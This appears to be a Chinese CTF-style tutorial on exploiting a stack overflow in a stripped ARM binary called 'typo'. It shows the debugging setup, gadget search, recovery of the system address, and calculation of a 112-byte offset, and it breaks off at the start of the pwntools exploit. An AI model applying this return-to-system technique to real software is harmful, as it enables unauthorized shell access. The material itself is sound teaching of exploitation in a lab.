前言 :
前面说了arm pwn的环境搭建,现在就来练练手,来做一下arm的pwn的简单栈溢出。
正文 :
先来说一说arm的一些基础指令集:
先看一下 arm 下的函数调用约定,函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0 中。
其中的 b/bl 等指令实现跳转; pc 寄存器相当于 x86 的 eip,保存下一条指令的地址,也是我们要控制的目标。
这里调试的话需要挂载文件到端口上:
1 | $ qemu-arm -g 1212 ./typo |
1 | $ gdb-multiarch ./typo -q |
check一下:
1 | ➜ ARM checksec ./typo |
就开了nx,所以基本上可以说是修改返回值到system地址执行即可。先找一些gadget。
pop r0 :
1 | ➜ ARM ROPgadget --binary ./typo --only 'pop|ret' | grep r0 |
/bin/sh :
1 | ➜ ARM ROPgadget --binary ./typo --string '/bin/sh' |
这里的system函数很难找,这个二进制文件被去除了符号表,我们可以先用 rizzo
来恢复部分符号表(关于恢复符号表可以看参考链接)。虽然 rizzo 在这个 binary 上恢复的效果不好,但很幸运,在识别出来的几个函数中刚好有 system。
1 | char *__fastcall system(int a1) |
system_addr :0x110B4
接下来只要找到偏移地址就可以了,因为这里是挂载在端口上调试的,所以想用地址相减去计算偏移有点困难,这里有两种办法:
- 使用
pattern create 200
、pattern offset AAAA
- 使用pwntools的
cyclic :
,cyclic 200
、cyclic -l AAAA
1 | pwndbg> cyclic 200 |
这里使用pattern莫名其妙多了一个@,不知道为什么。。
结果算出来偏移是112
。
接下来就好写exp了。
EXP :
1 | from pwn import * |